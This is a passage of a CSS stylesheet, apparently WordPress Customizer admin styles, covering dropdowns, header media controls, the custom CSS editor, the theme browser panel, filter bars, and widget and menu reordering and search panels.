	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 2em 0;
	text-align: center;
	width: 100%;
	display: block;
	top: 50%;
	position: relative;
}

/* Style for custom settings */

/**
 * Static front page
 */

#customize-control-show_on_front.has-error {
	margin-bottom: 0;
}
#customize-control-show_on_front.has-error .customize-control-notifications-container {
	margin-top: 12px;
}

/**
 * Dropdowns
 */

.accordion-section .dropdown {
	float: right;
	display: block;
	position: relative;
	cursor: pointer;
}

.accordion-section .dropdown-content {
	overflow: hidden;
	float: right;
	min-width: 30px;
	height: 16px;
	line-height: 16px;
	margin-left: 16px;
	padding: 4px 5px;
	border: 2px solid #f0f0f1;
	-webkit-user-select: none;
	user-select: none;
}

/* @todo maybe no more used? */
.customize-control .dropdown-arrow {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	width: 20px;
	background: #f0f0f1;
}

.customize-control .dropdown-arrow:after {
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: block;
	padding: 0;
	text-indent: 0;
	text-align: center;
	position: relative;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #2c3338;
}

.customize-control .dropdown-status {
	color: #2c3338;
	background: #f0f0f1;
	display: none;
	max-width: 112px;
}

.customize-control-color .dropdown {
	margin-left: 5px;
	margin-bottom: 5px;
}

.customize-control-color .dropdown .dropdown-content {
	background-color: #50575e;
	border: 1px solid rgba(0, 0, 0, 0.15);
}

.customize-control-color .dropdown:hover .dropdown-content {
	border-color: rgba(0, 0, 0, 0.25);
}

/**
 * iOS can't scroll iframes,
 * instead it expands the iframe size to match the size of the content
 */

.ios .wp-full-overlay {
	position: relative;
}

.ios #customize-controls .wp-full-overlay-sidebar-content {
	-webkit-overflow-scrolling: touch;
}

/* Media controls */

.customize-control .actions .button {
	margin-top: 12px;
}

.customize-control-header .actions,
.customize-control-header .uploaded {
	margin-bottom: 18px;
}

.customize-control-header .uploaded button:not(.random),
.customize-control-header .default button:not(.random) {
	width: 100%;
	padding: 0;
	margin: 0;
	background: none;
	border: none;
	color: inherit;
	cursor: pointer;
}

.customize-control-header button img {
	display: block;
}

.customize-control .attachment-media-view .remove-button,
.customize-control .attachment-media-view .default-button,
.customize-control .attachment-media-view .upload-button,
.customize-control-header button.new,
.customize-control-header button.remove {
	width: auto;
	height: auto;
	white-space: normal;
}

.customize-control .attachment-media-view .thumbnail,
.customize-control-header .current .container {
	overflow: hidden;
}

.customize-control .attachment-media-view .placeholder,
.customize-control .attachment-media-view .button-add-media,
.customize-control-header .placeholder {
	width: 100%;
	position: relative;
	text-align: center;
	cursor: default;
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	padding: 9px 0;
	line-height: 1.6;
}

.customize-control .attachment-media-view .button-add-media {
	cursor: pointer;
	background-color: #f0f0f1;
	color: #2c3338;
}

.customize-control .attachment-media-view .button-add-media:hover {
	background-color: #fff;
}

.customize-control .attachment-media-view .button-add-media:focus {
	background-color: #fff;
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-control-header .inner {
	display: none;
	position: absolute;
	width: 100%;
	color: #50575e;
	white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
}

.customize-control-header .inner,
.customize-control-header .inner .dashicons {
	line-height: 20px;
	top: 8px;
}

.customize-control-header .list .inner,
.customize-control-header .list .inner .dashicons {
	top: 9px;
}

.customize-control-header .header-view {
	position: relative;
	width: 100%;
	margin-bottom: 12px;
}

.customize-control-header .header-view:last-child {
	margin-bottom: 0;
}

/* Convoluted, but 'outline' support isn't good enough yet */
.customize-control-header .header-view:after {
	border: 0;
}

.customize-control-header .header-view.selected .choice:focus {
	outline: none;
}

.customize-control-header .header-view.selected:after {
	content: "";
	position: absolute;
	height: auto;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	border: 4px solid #72aee6;
	border-radius: 2px;
}

.customize-control-header .header-view.button.selected {
	border: 0;
}

/* Header control: overlay "close" button */

.customize-control-header .uploaded .header-view .close {
	font-size: 20px;
	color: #fff;
	background: #50575e;
	background: rgba(0, 0, 0, 0.5);
	position: absolute;
	top: 10px;
	right: -999px;
	z-index: 1;
	width: 26px;
	height: 26px;
	cursor: pointer;
}

.customize-control-header .header-view:hover .close,
.customize-control-header .header-view .close:focus {
	right: auto;
	left: 10px;
}

.customize-control-header .header-view .close:focus {
	outline: 1px solid #4f94d4;
}

/* Header control: randomiz(s)er */

.customize-control-header .random.placeholder {
	cursor: pointer;
	border-radius: 2px;
	height: 40px;
}

.customize-control-header button.random {
	width: 100%;
	height: auto;
	min-height: 40px;
	white-space: normal;
}

.customize-control-header button.random .dice {
	margin-top: 4px;
}

.customize-control-header .placeholder:hover .dice,
.customize-control-header .header-view:hover > button.random .dice {
	animation: dice-color-change 3s infinite;
}

.button-see-me {
	animation: bounce .7s 1;
	transform-origin: center bottom;
}

@keyframes bounce {
	from, 20%, 53%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
		transform: translate3d(0,0,0);
	}

	40%, 43% {
		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
		transform: translate3d(0, -12px, 0);
	}

	70% {
		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
		transform: translate3d(0, -6px, 0);
	}

	90% {
		transform: translate3d(0,-1px,0);
	}
}

.customize-control-header .choice {
	position: relative;
	display: block;
	margin-bottom: 9px;
}

.customize-control-header .choice:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-control-header .uploaded div:last-child > .choice {
	margin-bottom: 0;
}

.customize-control .attachment-media-view .thumbnail-image img,
.customize-control-header img {
	max-width: 100%;
}

.customize-control .attachment-media-view .remove-button,
.customize-control .attachment-media-view .default-button,
.customize-control-header .remove {
	margin-left: 8px;
}

/* Background position control */
.customize-control-background_position .background-position-control .button-group {
	display: block;
}

/**
 * Code Editor Control and Custom CSS Section
 *
 * Modifications to the Section Container to make the textarea full-width and
 * full-height, if the control is the only control in the section.
 */

.customize-control-code_editor textarea {
	width: 100%;
	font-family: Consolas, Monaco, monospace;
	font-size: 12px;
	padding: 6px 8px;
	tab-size: 2;
}
.customize-control-code_editor textarea,
.customize-control-code_editor .CodeMirror {
	height: 14em;
}

#customize-controls .customize-section-description-container.section-meta.customize-info {
	border-bottom: none;
}

#sub-accordion-section-custom_css .customize-control-notifications-container {
	margin-bottom: 15px;
}

#customize-control-custom_css textarea {
	display: block;
	height: 500px;
}

.customize-section-description-container + #customize-control-custom_css .customize-control-title {
	margin-right: 12px;
}

.customize-section-description-container + #customize-control-custom_css:last-child textarea {
	border-left: 0;
	border-right: 0;
	height: calc( 100vh - 185px );
	resize: none;
}

.customize-section-description-container + #customize-control-custom_css:last-child {
	margin-right: -12px;
	width: 299px;
	width: calc( 100% + 24px );
	margin-bottom: -12px;
}

.customize-section-description-container + #customize-control-custom_css:last-child .CodeMirror {
	height: calc( 100vh - 185px );
}

.CodeMirror-lint-tooltip,
.CodeMirror-hints {
	z-index: 500000 !important;
}

.customize-section-description-container + #customize-control-custom_css:last-child .customize-control-notifications-container {
	margin-right: 12px;
	margin-left: 12px;
}

.theme-browser .theme.active .theme-actions,
.wp-customizer .theme-browser .theme .theme-actions {
	padding: 9px 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

@media screen and (max-width: 640px) {
	.customize-section-description-container + #customize-control-custom_css:last-child {
		margin-left: 0;
	}

	.customize-section-description-container + #customize-control-custom_css:last-child textarea {
		height: calc( 100vh - 140px );
	}
}

/**
 * Themes
 */

#customize-theme-controls .control-panel-themes {
	border-bottom: none;
}

#customize-theme-controls .control-panel-themes > .accordion-section-title:hover, /* Not a focusable element. */
#customize-theme-controls .control-panel-themes > .accordion-section-title {
	cursor: default;
	background: #fff;
	color: #50575e;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
	border-right: none;
	border-left: none;
	margin: 0 0 15px;
	padding-left: 100px; /* Space for the button */
}

#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover, /* Not a focusable element. */
#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child {
	border-top: 0;
}

#customize-theme-controls .control-section-themes > .accordion-section-title:hover, /* Not a focusable element. */
#customize-theme-controls .control-section-themes > .accordion-section-title {
	margin: 0 0 15px;
}

#customize-controls .customize-themes-panel .accordion-section-title:hover,
#customize-controls .customize-themes-panel .accordion-section-title {
	margin: 15px -8px;
}

#customize-controls .control-section-themes .accordion-section-title,
#customize-controls .customize-themes-panel .accordion-section-title {
	padding-left: 100px; /* Space for the button */
}

.control-panel-themes .accordion-section-title span.customize-action,
#customize-controls .customize-section-title span.customize-action,
#customize-controls .control-section-themes .accordion-section-title span.customize-action,
#customize-controls .customize-section-title span.customize-action {
	font-size: 13px;
	display: block;
	font-weight: 400;
}

#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme {
	position: absolute;
	left: 10px;
	top: 50%;
	margin-top: -14px;
	font-weight: 400;
}

#customize-notifications-area .notification-message button.switch-to-editor {
	display: block;
	margin-top: 6px;
	font-weight: 400;
}

#customize-theme-controls .control-panel-themes > .accordion-section-title:after {
	display: none;
}

.control-panel-themes .customize-themes-full-container {
	position: fixed;
	top: 0;
	right: 0;
	transition: .18s right ease-in-out;
	margin: 0 300px 0 0;
	padding: 71px 0 25px;
	overflow-y: scroll;
	width: calc(100% - 300px);
	height: calc(100% - 96px);
	background: #f0f0f1;
	z-index: 20;
}

@media (prefers-reduced-motion: reduce) {
	.control-panel-themes .customize-themes-full-container {
		transition: none;
	}
}

@media screen and (min-width: 1670px) {
	.control-panel-themes .customize-themes-full-container {
		width: 82%;
		left: 0;
		right: initial;
	}
}

.modal-open .control-panel-themes .customize-themes-full-container {
	overflow-y: visible;
}

/* Animations for opening the themes panel */
#customize-save-button-wrapper,
#customize-header-actions .spinner,
#customize-header-actions .customize-controls-preview-toggle {
	transition: .18s margin ease-in-out;
}

#customize-footer-actions,
#customize-footer-actions .collapse-sidebar {
	bottom: 0;
	transition: .18s bottom ease-in-out;
}

.in-themes-panel:not(.animating) #customize-header-actions .spinner,
.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,
.in-themes-panel:not(.animating) #customize-preview,
.in-themes-panel:not(.animating) #customize-footer-actions {
	visibility: hidden;
}

.wp-full-overlay.in-themes-panel {
	background: #f0f0f1; /* Prevents a black flash when fading in the panel */
}

.in-themes-panel #customize-save-button-wrapper,
.in-themes-panel #customize-header-actions .spinner,
.in-themes-panel #customize-header-actions .customize-controls-preview-toggle {
	margin-top: -46px; /* Height of header actions bar */
}

.in-themes-panel #customize-footer-actions,
.in-themes-panel #customize-footer-actions .collapse-sidebar {
	bottom: -45px;
}

/* Don't show the theme count while the panel opens, as it's in the wrong place during the animation */
.in-themes-panel.animating .control-panel-themes .filter-themes-count {
	display: none;
}

.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content {
	bottom: 0;
}

.themes-filter-bar .feature-filter-toggle {
	float: left;
	margin: 3px 25px 3px 0;
}

.themes-filter-bar .feature-filter-toggle:before {
	content: "\f111";
	margin: 0 0 0 5px;
	font: normal 16px/1 dashicons;
	vertical-align: text-bottom;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.themes-filter-bar .feature-filter-toggle.open {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.themes-filter-bar .feature-filter-toggle .filter-count-filters {
	display: none;
}

.filter-drawer {
	box-sizing: border-box;
	width: 100%;
	position: absolute;
	top: 46px;
	right: 0;
	padding: 25px 25px 25px 0;
	border-top: 0;
	margin: 0;
	background: #f0f0f1;
	border-bottom: 1px solid #dcdcde;
}

.filter-drawer .filter-group {
	margin: 0 0 0 25px;
	width: calc( (100% - 75px) / 3);
	min-width: 200px;
	max-width: 320px;
}

/* Adds a delay before fading in to avoid it "jumping" */
@keyframes themes-fade-in {
	0% {
		opacity: 0;
	}
	50% {
		opacity: 0;
	}
	100% {
		opacity: 1;
	}
}

.control-panel-themes .customize-themes-full-container.animate {
	animation: .6s themes-fade-in 1;
}

.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count {
	animation: .6s themes-fade-in 1;
}

.control-panel-themes .filter-themes-count {
	position: relative;
	float: left;
	line-height: 2.6;
}

.control-panel-themes .filter-themes-count .themes-displayed {
	font-weight: 600;
	color: #50575e;
}

.customize-themes-notifications {
	margin: 0;
}

.control-panel-themes .customize-themes-notifications .notice {
	margin: 0 0 25px;
}

.customize-themes-full-container .customize-themes-section {
	display: none !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
	overflow: hidden;
}

.customize-themes-full-container .customize-themes-section.current-section {
	display: list-item !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
}

.control-section .customize-section-text-before {
	padding: 0 15px 8px 0;
	margin: 15px 0 0;
	line-height: 16px;
	border-bottom: 1px solid #dcdcde;
	color: #50575e;
}

.control-panel-themes .customize-themes-section-title {
	width: 100%;
	background: #fff;
	box-shadow: none;
	outline: none;
	border-top: none;
	border-bottom: 1px solid #dcdcde;
	border-right: 4px solid #fff;
	border-left: none;
	cursor: pointer;
	padding: 10px 15px;
	position: relative;
	text-align: right;
	font-size: 14px;
	font-weight: 600;
	color: #50575e;
	text-shadow: none;
}

.control-panel-themes #accordion-section-installed_themes {
	border-top: 1px solid #dcdcde;
}

.control-panel-themes .theme-section {
	margin: 0;
	position: relative;
}

.control-panel-themes .customize-themes-section-title:focus,
.control-panel-themes .customize-themes-section-title:hover {
	border-right-color: #2271b1;
	color: #2271b1;
	background: #f6f7f7;
}

.customize-themes-section-title:not(.selected):after {
	content: "";
	display: block;
	position: absolute;
	top: 9px;
	left: 15px;
	width: 18px;
	height: 18px;
	border-radius: 100%;
	border: 1px solid #c3c4c7;
	background: #fff;
}

.control-panel-themes .theme-section .customize-themes-section-title.selected:after {
	content: "\f147";
	font: 16px/1 dashicons;
	box-sizing: border-box;
	width: 20px;
	height: 20px;
	padding: 3px 1px 1px 3px; /* Re-align the icon to the smaller grid */
	border-radius: 100%;
	position: absolute;
	top: 9px;
	left: 15px;
	background: #2271b1;
	color: #fff;
}

.control-panel-themes .customize-themes-section-title.selected {
	color: #2271b1;
}

#customize-theme-controls .themes.accordion-section-content {
	position: relative;
	right: 0;
	padding: 0;
	width: 100%;
}

.loading .customize-themes-section .spinner {
	display: block;
	visibility: visible;
	position: relative;
	clear: both;
	width: 20px;
	height: 20px;
	right: calc(50% - 10px);
	float: none;
	margin-top: 50px;
}

.customize-themes-section .no-themes,
.customize-themes-section .no-themes-local {
	display: none;
}

.themes-section-installed_themes .theme .notice-success:not(.updated-message) {
	display: none; /* Hide "installed" notice on installed themes tab. */
}

.customize-control-theme .theme {
	width: 100%;
	margin: 0;
	border: 1px solid #dcdcde;
	background: #fff;
}

.customize-control-theme .theme .theme-name, .customize-control-theme .theme .theme-actions {
	background: #fff;
	border: none;
}

.customize-control.customize-control-theme { /* override most properties on .customize-control */
	box-sizing: border-box;
	width: 25%;
	max-width: 600px; /* Max. screenshot size / 2 */
	margin: 0 0 25px 25px;
	padding: 0;
	clear: none;
}

/* 5 columns above 2100px */
@media screen and (min-width: 2101px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 125px ) / 5 - 1px ); /* 1px offset accounts for browser rounding, typical all grids */
	}
}

/* 4 columns up to 2100px */
@media screen and (min-width: 1601px) and (max-width: 2100px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 100px ) / 4 - 1px );
	}
}

/* 3 columns up to 1600px */
@media screen and (min-width: 1201px) and (max-width: 1600px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 75px ) / 3 - 1px );
	}
}

/* 2 columns up to 1200px */
@media screen and (min-width: 851px) and (max-width: 1200px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 50px ) / 2 - 1px );

	}
}

/* 1 column up to 850 px */
@media screen and (max-width: 850px) {
	.customize-control.customize-control-theme {
		width: 100%;
	}
}

.wp-customizer .theme-browser .themes {
	padding: 0 25px 25px 0;
	transition: .18s margin-top linear;
}

.wp-customizer .theme-browser .theme .theme-actions {
	opacity: 1;
}

#customize-controls h3.theme-name {
	font-size: 15px;
}

#customize-controls .theme-overlay .theme-name {
	font-size: 32px;
}

.customize-preview-header.themes-filter-bar {
	position: fixed;
	top: 0;
	right: 300px;
	width: calc(100% - 300px);
	height: 46px;
	background: #f0f0f1;
	z-index: 10;
	padding: 6px 25px;
	box-sizing: border-box;
	border-bottom: 1px solid #dcdcde;
}

@media screen and (min-width: 1670px) {
	.customize-preview-header.themes-filter-bar {
		width: 82%;
		left: 0;
		right: initial;
	}
}

.themes-filter-bar .themes-filter-container {
	margin: 0;
	padding: 0;
}

.themes-filter-bar .wp-filter-search {
	line-height: 1.8;
	padding: 6px 30px 6px 10px;
	max-width: 100%;
	width: 40%;
	min-width: 300px;
	position: absolute;
	top: 6px;
	right: 25px;
	height: 32px;
	margin: 1px 0;
}

/* Unstick the filter bar on short windows/screens. This breakpoint is based on the
   current length of .org feature filters assuming translations do not wrap lines. */
@media screen and (max-height: 540px), screen and (max-width: 1018px) {
	.customize-preview-header.themes-filter-bar {
		position: relative;
		right: 0;
		width: 100%;
		margin: 0 0 25px;
	}
	.filter-drawer {
		top: 46px;
	}
	.wp-customizer .theme-browser .themes {
		padding: 0 25px 25px 0;
		overflow: hidden;
	}

	.control-panel-themes .customize-themes-full-container {
		margin-top: 0;
		padding: 0;
		height: 100%;
		width: calc(100% - 300px);
	}
}

@media screen and (max-width: 1018px) {
	.filter-drawer .filter-group {
		width: calc( (100% - 50px) / 2);
	}
}

@media screen and (max-width: 900px) {
	.customize-preview-header.themes-filter-bar {
		height: 86px;
		padding-top: 46px;
	}

	.themes-filter-bar .wp-filter-search {
		width: calc(100% - 50px);
		margin: 0;
		min-width: 200px;
	}

	.filter-drawer {
		top: 86px;
	}

	.control-panel-themes .filter-themes-count {
		float: right;
	}
}

@media screen and (max-width: 792px) {
	.filter-drawer .filter-group {
		width: calc( 100% - 25px);
	}
}

.control-panel-themes .customize-themes-mobile-back {
	display: none;
}

/* Mobile - toggle between themes and filters */
@media screen and (max-width: 600px) {

	.filter-drawer {
		top: 132px;
	}

	.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes {
		display: block;
		float: left;
	}

	.control-panel-themes .customize-themes-full-container {
		width: 100%;
		margin: 0;
		padding-top: 46px;
		height: calc(100% - 46px);
		z-index: 1;
		display: none;
	}

	.showing-themes .control-panel-themes .customize-themes-full-container {
		display: block;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back {
		display: block;
		position: fixed;
		top: 0;
		right: 0;
		background: #f0f0f1;
		color: #3c434a;
		border-radius: 0;
		box-shadow: none;
		border: none;
		height: 46px;
		width: 100%;
		z-index: 10;
		text-align: right;
		text-shadow: none;
		border-bottom: 1px solid #dcdcde;
		border-right: 4px solid transparent;
		margin: 0;
		padding: 0;
		font-size: 0;
		overflow: hidden;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before {
		right: 0;
		top: 0;
		height: 46px;
		width: 26px;
		display: block;
		line-height: 2.3;
		padding: 0 8px;
		border-left: 1px solid #dcdcde;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover,
	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus {
		color: #2271b1;
		background: #f6f7f7;
		border-right-color: #2271b1;
		box-shadow: none;
		/* Only visible in Windows High Contrast mode */
		outline: 2px solid transparent;
		outline-offset: -2px;
	}

	.showing-themes #customize-header-actions {
		display: none;
	}

	#customize-controls {
		width: 100%;
	}
}

/* Details View */
.wp-customizer .theme-overlay {
	display: none;
}

.wp-customizer.modal-open .theme-overlay {
	position: fixed;
	right: 0;
	top: 0;
	left: 0;
	bottom: 0;
	z-index: 109;
}

/* Avoid a z-index war by resetting elements that should be under the overlay.
   This is likely required because of the way that sections and panels are positioned. */
.wp-customizer.modal-open #customize-header-actions,
.wp-customizer.modal-open .control-panel-themes .filter-themes-count,
.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after {
	z-index: -1;
}

.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content {
	overflow: visible;
}

.wp-customizer .theme-overlay .theme-backdrop {
	background: rgba(240, 240, 241, 0.75);
	position: fixed;
	z-index: 110;
}

.wp-customizer .theme-overlay .star-rating {
	float: right;
	margin-left: 8px;
}

.wp-customizer .theme-rating .num-ratings {
	line-height: 20px;
}

.wp-customizer .theme-overlay .theme-wrap {
	right: 90px;
	left: 90px;
	top: 45px;
	bottom: 45px;
	z-index: 120;
}

.wp-customizer .theme-overlay .theme-actions {
	text-align: left; /* Because there're only one or two actions, match the UI pattern of media modals and right-align the action. */
	padding: 10px 25px 5px;
	background: #f0f0f1;
	border-top: 1px solid #dcdcde;
}

.wp-customizer .theme-overlay .theme-actions .theme-install.preview {
	margin-right: 8px;
}

.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content {
	overflow: visible; /* Prevent the top-level Customizer controls from becoming visible when elements on the right of the details modal are focused. */
}

.wp-customizer .theme-header {
	background: #f0f0f1;
}

.wp-customizer .theme-overlay .theme-header button,
.wp-customizer .theme-overlay .theme-header .close:before {
	color: #3c434a;
}

.wp-customizer .theme-overlay .theme-header .close:focus,
.wp-customizer .theme-overlay .theme-header .close:hover,
.wp-customizer .theme-overlay .theme-header .right:focus,
.wp-customizer .theme-overlay .theme-header .right:hover,
.wp-customizer .theme-overlay .theme-header .left:focus,
.wp-customizer .theme-overlay .theme-header .left:hover {
	background: #fff;
	border-bottom: 4px solid #2271b1;
	color: #2271b1;
}

.wp-customizer .theme-overlay .theme-header .close:focus:before,
.wp-customizer .theme-overlay .theme-header .close:hover:before {
	color: #2271b1;
}

.wp-customizer .theme-overlay .theme-header button.disabled,
.wp-customizer .theme-overlay .theme-header button.disabled:hover,
.wp-customizer .theme-overlay .theme-header button.disabled:focus {
	border-bottom: none;
	background: transparent;
	color: #c3c4c7;
}

/* Small Screens */
@media (max-width: 850px), (max-height: 472px) {
	.wp-customizer .theme-overlay .theme-wrap {
		right: 0;
		left: 0;
		top: 0;
		bottom: 0;
	}

	.wp-customizer .theme-browser .themes {
		padding-left: 25px;
	}
}

/* Handle cheaters. */
body.cheatin {
	font-size: medium;
	height: auto;
	background: #fff;
	border: 1px solid #c3c4c7;
	margin: 50px auto 2em;
	padding: 1em 2em;
	max-width: 700px;
	min-width: 0;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

body.cheatin h1 {
	border-bottom: 1px solid #dcdcde;
	clear: both;
	color: #50575e;
	font-size: 24px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	margin: 30px 0 0;
	padding: 0 0 7px;
}

body.cheatin p {
	font-size: 14px;
	line-height: 1.5;
	margin: 25px 0 20px;
}

/**
 * Widgets and Menus common styles
 */

/* higher specificity than .wp-core-ui .button */
#customize-theme-controls .add-new-widget,
#customize-theme-controls .add-new-menu-item {
	cursor: pointer;
	float: left;
	margin: 0 10px 0 0;
	transition: all 0.2s;
	-webkit-user-select: none;
	user-select: none;
	outline: none;
}

.reordering .add-new-widget,
.reordering .add-new-menu-item {
	opacity: 0.2;
	pointer-events: none;
	cursor: not-allowed; /* doesn't work in conjunction with pointer-events */
}

.add-new-widget:before,
.add-new-menu-item:before,
#available-menu-items .new-content-item .add-content:before {
	content: "\f132";
	display: inline-block;
	position: relative;
	right: -2px;
	top: 0;
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	transition: all 0.2s;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* Reordering */
.reorder-toggle {
	float: left;
	padding: 5px 8px;
	text-decoration: none;
	cursor: pointer;
	outline: none;
}

.reorder,
.reordering .reorder-done {
	display: block;
	padding: 5px 8px;
}

.reorder-done,
.reordering .reorder {
	display: none;
}

.widget-reorder-nav span,
.menu-item-reorder-nav button {
	position: relative;
	overflow: hidden;
	float: right;
	display: block;
	width: 33px; /* was 42px for mobile */
	height: 43px;
	color: #8c8f94;
	text-indent: -9999px;
	cursor: pointer;
	outline: none;
}

.menu-item-reorder-nav button {
	width: 30px;
	height: 40px;
	background: transparent;
	border: none;
	box-shadow: none;
}

.widget-reorder-nav span:before,
.menu-item-reorder-nav button:before {
	display: inline-block;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	font: normal 20px/43px dashicons;
	text-align: center;
	text-indent: 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.widget-reorder-nav span:hover,
.widget-reorder-nav span:focus,
.menu-item-reorder-nav button:hover,
.menu-item-reorder-nav button:focus {
	color: #1d2327;
	background: #f0f0f1;
}

.move-widget-down:before,
.menus-move-down:before {
	content: "\f347";
}

.move-widget-up:before,
.menus-move-up:before {
	content: "\f343";
}

#customize-theme-controls .first-widget .move-widget-up,
#customize-theme-controls .last-widget .move-widget-down,
.move-up-disabled .menus-move-up,
.move-down-disabled .menus-move-down,
.move-right-disabled .menus-move-right,
.move-left-disabled .menus-move-left {
	color: #dcdcde;
	background-color: #fff;
	cursor: default;
	pointer-events: none;
}

/**
 * New widget and Add-menu-items modes and panels
 */

.wp-full-overlay-main {
	left: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */
	width: 100%;
}

body.adding-widget .add-new-widget,
body.adding-widget .add-new-widget:hover,
.adding-menu-items .add-new-menu-item,
.adding-menu-items .add-new-menu-item:hover,
.add-menu-toggle.open,
.add-menu-toggle.open:hover {
	background: #f0f0f1;
	border-color: #8c8f94;
	color: #2c3338;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

body.adding-widget .add-new-widget:before,
.adding-menu-items .add-new-menu-item:before,
#accordion-section-add_menu .add-new-menu-item.open:before {
	transform: rotate(-45deg);
}

#available-widgets,
#available-menu-items {
	position: absolute;
	top: 0;
	bottom: 0;
	right: -301px;
	visibility: hidden;
	overflow-x: hidden;
	overflow-y: auto;
	width: 300px;
	margin: 0;
	z-index: 4;
	background: #f0f0f1;
	transition: right .18s;
	border-left: 1px solid #dcdcde;
}

#available-widgets .customize-section-title,
#available-menu-items .customize-section-title {
	display: none;
}

#available-widgets-list {
	top: 60px;
	position: absolute;
	overflow: auto;
	bottom: 0;
	width: 100%;
	border-top: 1px solid #dcdcde;
}

.no-widgets-found #available-widgets-list {
	border-top: none;
}

#available-widgets-filter {
	position: fixed;
	top: 0;
	z-index: 1;
	width: 300px;
	background: #f0f0f1;
}

/* search field container */
#available-widgets-filter,
#available-menu-items-search .accordion-section-title {
	padding: 13px 15px;
	box-sizing: border-box;
}

#available-widgets-filter input,
#available-menu-items-search input {
	width: 100%;
	min-height: 32px;
	margin: 1px 0;
	padding: 0 30px;
}

#available-widgets-filter input::-ms-clear,
#available-menu-items-search input::-ms-clear {
	display: none; /* remove the "x" in IE, which conflicts with the "x" icon on button.clear-results */
}

#available-menu-items-search .search-icon,
#available-widgets-filter .search-icon {
	display: block;
	position: absolute;
	top: 15px; /* 13 container padding +1 input margin +1 input border */
	right: 16px;
	width: 30px;
	height: 30px;
	line-height: 2.1;
	text-align: center;
	color: #646970;
}

#available-widgets-filter .clear-results,
#available-menu-items-search .clear-results {
	position: absolute;
	top: 15px; /* 13 container padding +1 input margin +1 input border */
	left: 16px;
	width: 30px;
	height: 30px;
	padding: 0;
	border: 0;
	cursor: pointer;
	background: none;
	color: #d63638;
	text-decoration: none;
	outline: 0;
}

#available-widgets-filter .clear-results,
#available-menu-items-search .clear-results,
#available-menu-items-search.loading .clear-results.is-visible {
	display: none;
}

#available-widgets-filter .clear-results.is-visible,
#available-menu-items-search .clear-results.is-visible {
	display: block;
}

#available-widgets-filter .clear-results:before,
#available-menu-items-search .clear-results:before {
	content: "\f335";
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#available-widgets-filter .clear-results:hover,
#available-widgets-filter .clear-results:focus,
#available-menu-items-search .clear-results:hover,
#available-menu-items-search .clear-results:focus {
	color: #d63638;
}

#available-widgets-filter .clear-results:focus,
#available-menu-items-search .clear-results:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#available-menu-items-search .search-icon:after,
#available-widgets-filter .search-icon:after,
.themes-filter-bar .search-icon:after {
	content: "\f179";
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.themes-filter-bar .search-icon {
	position: absolute;
	top: 7px;
	right: 26px;
	z-index: 1;
	color: #646970;
	height: 30px;
	width: 30px;
	line-height: 2;
	text-align: center;
}

.no-widgets-found-message {
	display: none;
	margin: 0;
	padding: 0 15px;
	line-height: inherit;
}

.no-widgets-found .no-widgets-found-message {
	display: block;
}

#available-widgets .widget-top,
#available-widgets .widget-top:hover,
#available-menu-items .item-top,
#available-menu-items .item-top:hover {
	border: none;
	background: transparent;
	box-shadow: none;
}

#available-widgets .widget-tpl,
#available-menu-items .item-tpl {
